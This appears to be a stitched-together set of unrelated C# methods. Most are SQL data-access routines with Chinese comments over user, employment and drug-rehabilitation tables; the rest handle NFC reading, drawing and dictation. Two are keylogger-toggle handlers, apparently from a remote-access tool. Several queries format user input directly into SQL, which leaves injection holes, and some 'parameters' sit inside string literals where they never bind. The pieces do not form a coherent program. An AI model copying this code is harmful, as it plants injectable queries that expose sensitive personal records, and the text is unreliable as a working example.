DataTable dt = HCQ2_Common.SQL.SqlHelper.ExecuteDataTable(sb.ToString());
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <HCQ2_Model.SelectModel.ListBoxModel>(dt));
}
/// <summary>
/// 获取分享人员数据
/// </summary>
/// <returns></returns>
public List <HCQ2_Model.SelectModel.ListBoxModel> GetShareDataByPerson()
{
sb?.Clear();
sb.Append(@"SELECT text=(CASE WHEN ISNULL(b.UnitName,'')<>'' THEN u.user_name+'('+ISNULL(b.UnitName,'')+')' ELSE u.USER_NAME END),CAST(u.user_id AS NVARCHAR(100)) AS value FROM
(SELECT user_name,user_id FROM dbo.T_User WHERE reg_from=0) u LEFT JOIN
(SELECT UnitID,user_id FROM dbo.T_Org_User) o ON u.user_id=o.user_id LEFT JOIN
(SELECT UnitID,UnitName FROM dbo.B01) b ON o.UnitID=b.UnitID ORDER BY b.UnitName");
DataTable dt = HCQ2_Common.SQL.SqlHelper.ExecuteDataTable(sb.ToString());
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <HCQ2_Model.SelectModel.ListBoxModel>(dt));
}
/// <summary>
/// 获取项目月增长
/// </summary>
/// <param name="model"></param>
/// <returns></returns>
public List <HCQ2_Model.APPModel.ResultApiModel.ChartProject> GetProjectMonthGrow(HCQ2_Model.APPModel.ParamModel.DebtAllGrantModel model)
{
sb?.Clear();
sb.Append(string.Format(@"SELECT CAST(SUBSTRING(T.createDate,6,2) AS INT) AS month,COUNT(T.UnitID) AS projectCount FROM
(SELECT CONVERT(varchar(7),B0183,120) AS createDate,UnitID FROM dbo.B01 WHERE ISNULL(B0183,'')<>'' AND CONVERT(varchar(7),B0183,120) BETWEEN @startDate AND @endDate )T GROUP BY T.createDate;"));
_param?.Clear();
_param.Add("@startDate", model.startDate);
_param.Add("@endDate", model.endDate);
DataTable dt = SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text, SqlHelper.GetParameters(_param));
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <HCQ2_Model.APPModel.ResultApiModel.ChartProject>(dt));
}
/// <summary>
/// 获取权限集合
/// </summary>
/// <param name="perName"></param>
/// <param name="page"></param>
/// <param name="rows"></param>
/// <param name="perType">权限类别</param>
/// <param name="sm_code">模块代码</param>
/// <returns></returns>
public List <T_Permissions> GetLimitData(string perName, int page, int rows, string perType, string sm_code)
{
sb?.Clear();
_param.Clear();
sb.Append(string.Format(@"SELECT TOP {0} per.*,fig.pc_openUrl,fig.pc_saveUrl,fig.pc_width,fig.pc_height FROM
(SELECT *,ROW_NUMBER() OVER(ORDER BY per_id) AS 'rowNumber' FROM dbo.T_Permissions WHERE 1=1 ", rows));
if (!string.IsNullOrEmpty(sm_code))
{
sb.Append(string.Format(" AND sm_code=@sm_code "));
_param.Add("@sm_code", sm_code);
}
if (!string.IsNullOrEmpty(perName))
{
sb.Append(string.Format(" AND per_name LIKE '%@per_name%' "));
_param.Add("@per_name", perName);
}
if (!string.IsNullOrEmpty(perType))
{
sb.Append(string.Format(" AND per_type=@per_type "));
_param.Add("@per_type", perType);
}
sb.Append(string.Format(@" ) per INNER JOIN
(SELECT per_type,pc_openUrl,pc_saveUrl,pc_width,pc_height FROM dbo.T_PermissConfig) fig ON per.per_type = fig.per_type WHERE per.rowNumber>{0};", (page - 1) * rows));
DataTable dt = SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text, SqlHelper.GetParameters(_param));
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <T_Permissions>(dt));
}
/// <summary>
/// 实现根据组织机构获取用户
/// </summary>
/// <param name="unitid"></param>
/// <param name="keyword"></param>
/// <param name="page"></param>
/// <param name="rows"></param>
/// <returns></returns>
public List <T_User> GetUserByUnitID(int folder_id, string keyword, int page, int rows)
{
if (folder_id <= 0)
{
return(null);
}
sb?.Clear();
sb.AppendFormat(@"SELECT TOP {0} users.* FROM (SELECT * FROM dbo.T_User WHERE 1=1 ", rows);
if (!string.IsNullOrEmpty(keyword))
{
sb.AppendFormat(" AND user_name LIKE '%{0}%' ", keyword);
}
sb.AppendFormat(@") users INNER JOIN
(SELECT ROW_NUMBER() OVER(ORDER BY user_id ASC) AS rowNumber,user_id FROM dbo.T_Org_User WHERE UnitID
IN(SELECT folder_id FROM dbo.T_OrgFolder WHERE folder_path LIKE (SELECT folder_path FROM T_OrgFolder WHERE folder_id={0})+'%')) org ON
org.user_id = users.user_id WHERE org.rowNumber>{1};", folder_id, (page - 1) * rows);
DataTable dt = HCQ2_Common.SQL.SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text);
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <T_User>(dt));
//只查询自己本身所在区域用户
//if (string.IsNullOrEmpty(keyword))
// return (from user in db.Set<T_User>()
// join org in db.Set<T_Org_User>()
// on user.user_id equals org.user_id
// where org.UnitID.Equals(folder_id.ToString())
// select user).OrderBy(u => u.user_id).ToList().Skip(rows*(page - 1)).Take(rows).ToList();
//return (from user in db.Set<T_User>()
// join org in db.Set<T_Org_User>()
// on user.user_id equals org.user_id
// where org.UnitID.Equals(folder_id.ToString()) && user.user_name.Contains(keyword)
// select user).OrderBy(u => u.user_id).ToList().Skip(rows*(page - 1)).Take(rows).ToList();
}
private void OnCanvasDraw(CanvasControl sender, CanvasDrawEventArgs args)
{
if (String.IsNullOrWhiteSpace(_data))
{
CommandsList.Text = string.Empty;
return;
}
if (_errorGeometry == null)
{
_errorGeometry = CanvasObject.CreateGeometry(sender, ErrorString);
}
_logger?.Clear();
CommandsList.Text = string.Empty;
try
{
var geometry = CanvasObject.CreateGeometry(sender, _data, _logger);
CommandsList.Text = _logger.ToString();
args.DrawingSession.FillGeometry(geometry, _fillColor);
args.DrawingSession.DrawGeometry(geometry, _strokeColor, _strokeThickness);
}
catch (Exception e)
{
args.DrawingSession.FillGeometry(_errorGeometry, Colors.Red);
CommandsList.Text = "Parsing error! Invalid input data!";
}
}
public void DidDetect(NFCNdefReaderSession session, NFCNdefMessage[] messages)
{
_data?.Clear();
foreach (NFCNdefMessage message in messages)
{
foreach (NFCNdefPayload record in message.Records)
{
var typeNameFormat = record.TypeNameFormat;
//var identifier = record.Identifier?.ToArray();
var type = record.Type;
var payload = record.Payload;
if (payload.Length > 0)
{
ReadData(payload.ToArray());
}
else
{
ReadData(type.ToArray());
}
}
}
if (_data.ToString().Length > 0)
{
MessagingCenter.Send <string>(_data.ToString(), "data");
}
}
/// <summary>
/// 获取指定企业的所属队伍
/// </summary>
/// <param name="unitID"></param>
/// <returns></returns>
public List <ComProModel> GetComProData(string unitID)
{
if (string.IsNullOrEmpty(unitID))
{
return(null);
}
sb?.Clear();
sb.Append(string.Format(@"SELECT info.* FROM
(SELECT DISTINCT in_team FROM dbo.A01 WHERE UnitID = @UnitID AND ISNULL(in_team, '') <> '') team INNER JOIN
(SELECT com_id AS com_value, dwmc AS com_text FROM dbo.T_CompProInfo) info ON team.in_team = info.com_value"));
_param?.Clear();
_param.Add("@UnitID", unitID);
DataTable dt = SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text, SqlHelper.GetParameters(_param));
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <ComProModel>(dt));
}
/// <summary>
/// 已检人数
/// </summary>
/// <returns></returns>
public int GetDetectionCount(int user_id)
{
sb?.Clear();
if (user_id > 0)
{
sb.AppendFormat(@"SELECT COUNT(*) FROM
(SELECT user_identify FROM Bane_UrinalysisRecord WHERE LEFT(CONVERT(varchar(100),GETDATE(),23),7)=LEFT(CONVERT(varchar(100),ur_reality_date,23),7)) record INNER JOIN
(SELECT user_id,user_identify FROM dbo.Bane_User) users ON users.user_identify = record.user_identify INNER JOIN
(SELECT person_id FROM dbo.T_UserUnitPersonRelation WHERE user_id={0}) relation ON users.user_id=relation.person_id;", user_id);
}
else
{
sb.Append(@"SELECT COUNT(*) FROM Bane_UrinalysisRecord WHERE LEFT(CONVERT(varchar(100),GETDATE(),23),7)=LEFT(CONVERT(varchar(100),ur_reality_date,23),7);");
}
return(HCQ2_Common.Helper.ToInt(HCQ2_Common.SQL.SqlHelper.ExecuteScalar(sb.ToString())));
}
/// <summary>
/// 获取跟踪记录集合
/// </summary>
/// <param name="param"></param>
/// <returns></returns>
public List <TrackRecordModel> GetInitData(TrackRecordParam param)
{
sb?.Clear();
sb.Append(string.Format(@"SELECT TOP {0} tt.*,code.tr_status_text FROM
(SELECT ROW_NUMBER() OVER(ORDER BY tr_id) AS RowNumber,tr_id,area_code,unit_name,unit_code,fa_number,tr_status,
CONVERT(varchar(100),track_date,23) AS track_date,track_name,tr_note FROM BB_TrackRecord WHERE 1=1 ", param.rows));
_param?.Clear();
//项目/区域
if (!string.IsNullOrEmpty(param.unit_code))
{
sb.Append(" AND unit_code = @unit_code ");
_param.Add("@unit_code", param.unit_code);
}
else if (!string.IsNullOrEmpty(param.area_code))
{
sb.Append(" AND area_code = @area_code ");
_param.Add("@area_code", param.area_code);
}
else
{
sb.Append(" AND 1=0 ");
}
//设备编码
if (!string.IsNullOrEmpty(param.fa_number))
{
sb.Append(" AND fa_number = @fa_number ");
_param.Add("@fa_number", param.fa_number);
}
//状态
if (!string.IsNullOrEmpty(param.trackStatus))
{
sb.Append(" AND tr_status = @tr_status ");
_param.Add("@tr_status", param.trackStatus);
}
//跟踪时间
if (!string.IsNullOrEmpty(param.trackDate))
{
sb.Append(string.Format(" AND CONVERT(varchar(100),track_date,23)=@track_date "));
_param.Add("@track_date", param.trackDate);
}
sb.Append(string.Format(@" ) tt LEFT JOIN(SELECT item1.*,item2.* FROM
(SELECT item_id, item_code FROM dbo.T_ItemCode WHERE item_code = 'TrackStatus') item1 INNER JOIN
(SELECT code_name AS tr_status_text, code_value AS tr_status, item_id AS id FROM dbo.T_ItemCodeMenum) item2 ON item1.item_id = item2.id) code ON tt.tr_status = code.tr_status WHERE tt.RowNumber > {0} ORDER BY tt.RowNumber;", (param.page - 1) * param.rows));
DataTable dt = SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text, SqlHelper.GetParameters(_param));
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <TrackRecordModel>(dt));
}
/// <summary>
/// 获取用户获取积分详情
/// </summary>
/// <param name="user_identify">身份证</param>
/// <returns></returns>
public List <AnswerIntegralDetial> GetIntegralScoreById(string user_identify)
{
sb?.Clear();
sb.AppendFormat(@"SELECT his_title AS hs_title,CONVERT(varchar(100),his_time,20) AS answer_date,his_total AS hs_total FROM dbo.Bane_IntegralScoreDetial WHERE user_identify='{0}' ORDER BY answer_date ASC;", user_identify);
DataTable dt = HCQ2_Common.SQL.SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text);
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <AnswerIntegralDetial>(dt));
}
/// <summary>
/// 根据指定试题ID 获取答题选项
/// </summary>
/// <param name="sub_ids"></param>
/// <returns></returns>
public List <Bane_QuestionValue> GetOptionsById(List <int> sub_ids)
{
sb?.Clear();
sb.AppendFormat(@"SELECT * FROM dbo.Bane_QuestionValue WHERE sub_id IN({0});", string.Join(",", sub_ids));
DataTable dt = HCQ2_Common.SQL.SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text);
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <Bane_QuestionValue>(dt));
}
private void Keylogger_FormClosed(object sender, FormClosedEventArgs e)
{
SB?.Clear();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("isON").AsString = "false";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
}
/// <summary>
/// 已检人数
/// </summary>
/// <returns></returns>
public int GetDetectionCount(int user_id)
{
sb?.Clear();
if (user_id > 0)
{
sb.AppendFormat(@"SELECT COUNT(*) FROM
(SELECT user_identify,ROW_NUMBER() OVER(PARTITION BY user_identify ORDER BY ur_id DESC) AS rowNumber FROM Bane_UrinalysisRecord WHERE approve_status=1 AND LEFT(CONVERT(varchar(100),GETDATE(),23),7)=LEFT(CONVERT(varchar(100),ur_reality_date,23),7)) record INNER JOIN
(SELECT user_id,user_identify FROM dbo.Bane_User) users ON users.user_identify = record.user_identify INNER JOIN
(SELECT person_id FROM dbo.T_UserUnitPersonRelation WHERE user_id={0}) relation ON users.user_id=relation.person_id WHERE record.rowNumber=1;", user_id);
}
else
{
sb.Append(@"SELECT COUNT(*) FROM
(SELECT ROW_NUMBER() OVER(PARTITION BY user_identify ORDER BY ur_id DESC) AS rowNumber,* FROM Bane_UrinalysisRecord WHERE approve_status=1 AND LEFT(CONVERT(varchar(100),GETDATE(),23),7)=LEFT(CONVERT(varchar(100),ur_reality_date,23),7)) record
WHERE record.rowNumber=1;");
}
return(HCQ2_Common.Helper.ToInt(HCQ2_Common.SQL.SqlHelper.ExecuteScalar(sb.ToString())));
}
private void Init(int fieldSize)
{
int side = fieldSize + 2;
_sb?.Clear();
_sb ??= new StringBuilder(side * (side + 1));
for (int i = 0; i < side; ++i)
{
_sb.Append(' ', side);
_sb.Append('\n');
}
}
private void SendData(Intent intent)
{
try
{
if (intent != null)
{
switch (intent.Action)
{
case NfcAdapter.ActionNdefDiscovered:
case NfcAdapter.ActionTagDiscovered:
_data?.Clear();
MessagingCenter.Send <string>(true.ToString(), "reading");
try
{
IParcelable[] rawMessages = intent.GetParcelableArrayExtra(NfcAdapter.ExtraNdefMessages);
if (rawMessages != null)
{
NdefMessage[] messages = new NdefMessage[rawMessages.Length];
for (int i = 0; i < rawMessages.Length; i++)
{
messages[i] = (NdefMessage)rawMessages[i];
}
// Process the messages array..
foreach (var m in messages)
{
NdefRecord[] records = m.GetRecords();
foreach (var r in records)
{
ReadData(r.GetPayload());
}
}
if (_data.ToString().Length > 0)
{
MessagingCenter.Send <string>(_data.ToString(), "data");
}
}
}
catch { }
finally
{
MessagingCenter.Send <string>(false.ToString(), "reading");
}
break;
case NfcAdapter.ActionTechDiscovered:
break;
}
}
}
catch { }
}
/// <summary>
/// 获取一栏数据
/// </summary>
/// <param name="param"></param>
/// <returns></returns>
public List <T_UseWorkerModel> GetUseWorkListData(T_UseWorkerParam param)
{
sb?.Clear();
sb.Append(string.Format(@"SELECT TOP {0} use_id,com_id,use_title,addr,postNote,code.CodeItemName as 'work_type_value',work_type,trade_type,work_city,use_wage_start,
use_wage_end,use_sex,use_age,use_edu,use_ageLimit,code1.ageLimit,use_major,
work_start,CONVERT(varchar(100),issue_start,23) AS 'issue_start',use_status,use_note FROM
(SELECT *, ROW_NUMBER() OVER(ORDER BY use_id) AS RowNumber FROM dbo.T_UseWorker WHERE com_id={1} AND use_status=1 ", param.rows, param.com_id));
if (!string.IsNullOrEmpty(param.jobName))
{
sb.Append(string.Format(@" AND trade_type LIKE '%@jobName%' "));
}
if (param.jobStartMoney > 0 && param.jobEndMoney > 0)
{
sb.Append(string.Format(" AND use_wage_start>={0} AND use_wage_end<={1} ", param.jobStartMoney, param.jobEndMoney));
}
else if (param.jobStartMoney > 0 && param.jobEndMoney <= 0)
{
sb.Append(string.Format(" AND use_wage_start>={0} ", param.jobStartMoney));
}
else if (param.jobStartMoney <= 0 && param.jobEndMoney > 0)
{
sb.Append(string.Format(" AND use_wage_end<={0} ", param.jobEndMoney));
}
sb.Append(string.Format(@") job INNER JOIN
(SELECT item1.*,item2.* FROM
(SELECT item_id,item_code FROM dbo.T_ItemCode WHERE item_code='JobPost') item1 INNER JOIN
(SELECT code_name AS CodeItemName,code_value AS CodeItemValue,item_id AS id FROM dbo.T_ItemCodeMenum) item2 ON item1.item_id = item2.id) code ON job.work_type=code.CodeItemValue INNER JOIN
(SELECT item1.*,item2.* FROM
(SELECT item_id,item_code FROM dbo.T_ItemCode WHERE item_code='WorkExperience') item1 INNER JOIN
(SELECT code_name AS ageLimit,code_value AS CodeItemValue,item_id AS id FROM dbo.T_ItemCodeMenum) item2 ON item1.item_id = item2.id) code1 ON job.use_ageLimit=code1.CodeItemValue WHERE job.RowNumber>{0} ", (param.page - 1) * param.rows));
if (!string.IsNullOrEmpty(param.jobName))
{
sb.Append(string.Format(@" AND code.CodeItemName LIKE '%@jobName%';"));
_param.Add("@jobName", param.jobName);
}
DataTable dt = SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text, SqlHelper.GetParameters(_param));
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <T_UseWorkerModel>(dt));
}
internal unsafe int GetNameByOffset(
IntPtr self,
ulong offset,
StringBuilder nameBuffer,
uint nameBufferSize,
uint *nameSize,
ulong *displacement)
{
nameBuffer?.Clear();
Write(nameSize);
Write(displacement);
return(E_NOTIMPL);
}
public List <WorkTypeCount> GetWorkType(OrgModel model)
{
sb?.Clear();
sb.Append(string.Format(@"SELECT ISNULL(code1.E0386,'其他') AS E0386,A.numCount FROM
(SELECT ISNULL(E0386,'00') AS E0386,COUNT(ISNULL(E0386,'00')) AS numCount FROM dbo.A01 WHERE UnitID=@UnitID GROUP BY E0386) A LEFT JOIN
(SELECT CodeItemID,CodeItemName AS E0386 FROM dbo.SM_CodeItems WHERE CodeID='JA') code1
ON A.E0386=code1.CodeItemID "));
_param?.Clear();
_param.Add("@UnitID", model.orgid);
DataTable dt = SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text, SqlHelper.GetParameters(_param));
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <WorkTypeCount>(dt));
}
/// <summary>
/// 获取已出工情况
/// </summary>
/// <param name="model"></param>
/// <returns></returns>
public List <string> GetWorkPersonList(WorkCount model)
{
sb?.Clear();
sb.Append(string.Format(@"SELECT A.A0101 FROM
(SELECT A0177,A0101,UnitID FROM dbo.A01 WHERE UnitID=@UnitID AND ISNULL(retire_time,'')='') A INNER JOIN
(SELECT DISTINCT A0177,UnitID FROM dbo.View_A02 WHERE UnitID=@UnitID AND CONVERT(varchar(100), A0201, 23)=@dateStart) B
ON A.A0177 = B.A0177 WHERE A.UnitID=B.UnitID;"));
_param?.Clear();
_param.Add("@UnitID", model.orgid);
_param.Add("@dateStart", model.work_date);
DataTable dt = SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text, SqlHelper.GetParameters(_param));
List <WorkParamModel> list = HCQ2_Common.Data.DataTableHelper.DataTableToIList <WorkParamModel>(dt);
if (null == list)
{
return(null);
}
return(list.Select(s => s.A0101).ToList());
}
/// <summary>
/// 获取戒毒人员一栏数据
/// </summary>
/// <param name="param"></param>
/// <returns></returns>
public List <BaneListModel> GetBaneData(BaneListParams param)
{
sb?.Clear();
sb.Append(string.Format(@"SELECT TOP {0} * FROM
(SELECT ROW_NUMBER() OVER(ORDER BY user_id ASC) rowNumber,user_name,user_sex,user_identify,user_type,user_phone,DATEDIFF(yy,CONVERT(varchar,user_birth,101),GETDATE())AS user_age,LEFT(user_name,1)+REPLICATE('*',LEN(user_name)-1) AS hiden_name,
(CASE WHEN LEN(user_identify)=18 THEN LEFT(user_identify,6)+REPLICATE('*',8)+RIGHT(user_identify,4)
WHEN LEN(user_identify)=15 THEN LEFT(user_identify,6)+REPLICATE('*',6)+RIGHT(user_identify,3) ELSE REPLICATE('*',LEN(user_identify)) END) AS hiden_identify FROM Bane_User
WHERE 1=1 ", param.rows));
if (!string.IsNullOrEmpty(param.baneName))
{
sb.Append(string.Format(" AND user_name LIKE '%{0}%' ", param.baneName));
}
if (!string.IsNullOrEmpty(param.baneType))
{
sb.Append(string.Format(" AND user_type='{0}' ", param.baneType));
}
//判断是否为父节点
if (param.isParent)
{
sb.Append(string.Format(" AND org_id IN(SELECT folder_id FROM dbo.T_OrgFolder WHERE folder_path<>'{0}' AND folder_path LIKE '{0}%') AND user_id IN(SELECT person_id FROM dbo.T_UserUnitPersonRelation WHERE user_id={1})", param.folder_path, param.user_id));
}
else
{
sb.Append(string.Format(" AND org_id={0} AND user_id IN(SELECT person_id FROM dbo.T_UserUnitPersonRelation WHERE user_id={1})", param.orgId, param.user_id));
}
sb.Append(string.Format(@") users LEFT JOIN
(SELECT ROW_NUMBER() OVER(PARTITION BY user_identify ORDER BY start_date DESC) rank,CONVERT(varchar(100),start_date,23) AS start_date,
CONVERT(varchar(100),end_date,23) AS end_date,end_reason,user_identify AS a0177 FROM Bane_RecoveryInfo
WHERE 1=1 "));
if (!string.IsNullOrEmpty(param.baneEnd))
{
sb.Append(string.Format(" AND end_reason='{0}' ", param.baneEnd));
}
sb.Append(string.Format(@") info ON users.user_identify=info.a0177 WHERE info.rank=1 AND users.rowNumber>{0};", (param.page - 1) * param.rows));
DataTable dt = HCQ2_Common.SQL.SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text);
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <BaneListModel>(dt));
}
private void Keylogger_FormClosed(object sender, FormClosedEventArgs e)
{
Sb?.Clear();
if (Client != null)
{
new Thread(() =>
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("isON").AsString = "false";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}).Start();
}
}
protected void СonnectToDatabase()
{
index = -1;
_sqlBuilder?.Clear();
if (m_dbConnection != null)
{
return;
}
m_dbConnection = new SQLiteConnection("Data Source=" + Directory.GetCurrentDirectory() + _dbPath + ";Version=3;");
m_dbConnection.Open();
}
/// <summary>
/// 获取企业征信
/// </summary>
/// <param name="com"></param>
/// <returns></returns>
public List <HCQ2_Model.APPModel.ResultApiModel.CreditModelResult> GetCompayProobjectList(CompanyModel com)
{
sb?.Clear();
sb.Append(string.Format(@"SELECT TOP {0} * FROM( SELECT cinfos.com_id,cinfos.UnitName,code1.UnitType,cinfos.TrustCode,cinfos.LegalPerson,del.ed_id,del.ent_name,code2.ent_type,del.update_time,ISNULL(del.update_name,'') AS update_name,del.solve_type,ROW_NUMBER() OVER(ORDER BY del.ent_type DESC) AS orderType FROM (SELECT com_id,dwmc AS UnitName,QXLB,tyshxydm AS TrustCode,Fddbrxm AS LegalPerson FROM dbo.T_CompProInfo ", com.size));
if (!string.IsNullOrEmpty(com.keyword))
{
sb.Append(string.Format(" WHERE dwmc LIKE '%{0}%' ", com.keyword));
}
sb.Append(string.Format(@" ) cinfos INNER JOIN
(SELECT * FROM (SELECT ed_id,ent_id,ent_name='双龙航空港经济区政法与群众工作局',ent_type,CONVERT(varchar(100),update_time,23) AS update_time,
update_name,solve_type=(CASE WHEN solve_type=0 THEN '未处理' ELSE '已处理' END),ROW_NUMBER() OVER(partition BY ent_id ORDER BY solve_type,ent_type DESC) AS order_index
FROM T_EnterDetail WHERE is_success=0) oder WHERE oder.order_index=1) del ON cinfos.com_id=del.ent_id LEFT JOIN
(SELECT item2.UnitType,item2.code_value FROM
(SELECT item_id,item_code FROM dbo.T_ItemCode WHERE item_code='QYLSZBFB') item1 INNER JOIN
(SELECT code_name AS UnitType,code_value,item_id AS id FROM dbo.T_ItemCodeMenum) item2
ON item1.item_id = item2.id) code1 ON cinfos.QXLB=code1.code_value LEFT JOIN
(SELECT item2.ent_type,item2.code_value FROM
(SELECT item_id,item_code FROM dbo.T_ItemCode WHERE item_code='ZXZT') item1 INNER JOIN
(SELECT code_name AS ent_type,code_value,item_id AS id FROM dbo.T_ItemCodeMenum) item2
ON item1.item_id = item2.id) code2 ON del.ent_type=code2.code_value) delInfo WHERE delInfo.orderType>{0};", (com.page - 1) * com.size));
DataTable dt = SqlHelper.ExecuteDataTable(sb.ToString());
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <HCQ2_Model.APPModel.ResultApiModel.CreditModelResult>(dt));
}
/// <summary>
/// 获取导出数据
/// </summary>
/// <param name="model"></param>
/// <returns></returns>
public DataTable GetExportPersonData(string UnitID, string e0386, string in_type)
{
sb?.Clear();
sb.Append(string.Format(@"SELECT A0101,A0177,ISNULL(A0178,0) AS A0178,ISNULL(A0178,0) AS W0178,PersonID FROM dbo.A01 WHERE UnitID=@UnitID "));
if (!string.IsNullOrEmpty(e0386) && !e0386.Equals("00"))
{
sb.Append(string.Format(" AND E0386={0} ", e0386));
}
if (!string.IsNullOrEmpty(in_type) && !in_type.Equals("00"))
{
sb.Append(string.Format(" AND in_team={0} ", in_type));
}
_param?.Clear();
_param.Add("@UnitID", UnitID);
return(SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text, SqlHelper.GetParameters(_param)));
}
/// <summary>
/// This event is fired when an error occurs.
/// TODO: Hook up something so any external actors know we've errored.
/// </summary>
/// <param name="error">The string representation of the error reason.</param>
/// <param name="hresult">The int representation of the hresult.</param>
private void DictationRecognizer_DictationError(string error, int hresult)
{
dictationResult = error + "\nHRESULT: " + hresult.ToString();
textSoFar?.Clear();
dictationResult = string.Empty;
if (debugOutput != null)
{
debugOutput.color = Color.red;
debugOutput.text = error;
}
Debug.LogError(error);
StartCoroutine(StopListeningInternal());
}
/// <summary>
/// 根据code获取字典
/// </summary>
/// <param name="code"></param>
/// <returns></returns>
public List <CodeItemsModel> GetOldSysCode(string code)
{
if (string.IsNullOrEmpty(code))
{
return(null);
}
sb?.Clear();
sb.Append(string.Format(@"SELECT item.CodeItemID AS CodeValue,item.CodeItemName AS CodeText FROM
(SELECT DISTINCT E0386 FROM dbo.A01 WHERE UnitID=@code AND ISNULL(E0386,'')<>'') a01 LEFT JOIN
(SELECT CodeItemID,CodeItemName FROM dbo.SM_CodeItems WHERE CodeID='JA') item ON a01.E0386=item.CodeItemID;"));
_param?.Clear();
_param.Add("@code", code);
DataTable dt = SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text, SqlHelper.GetParameters(_param));
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <CodeItemsModel>(dt));
}
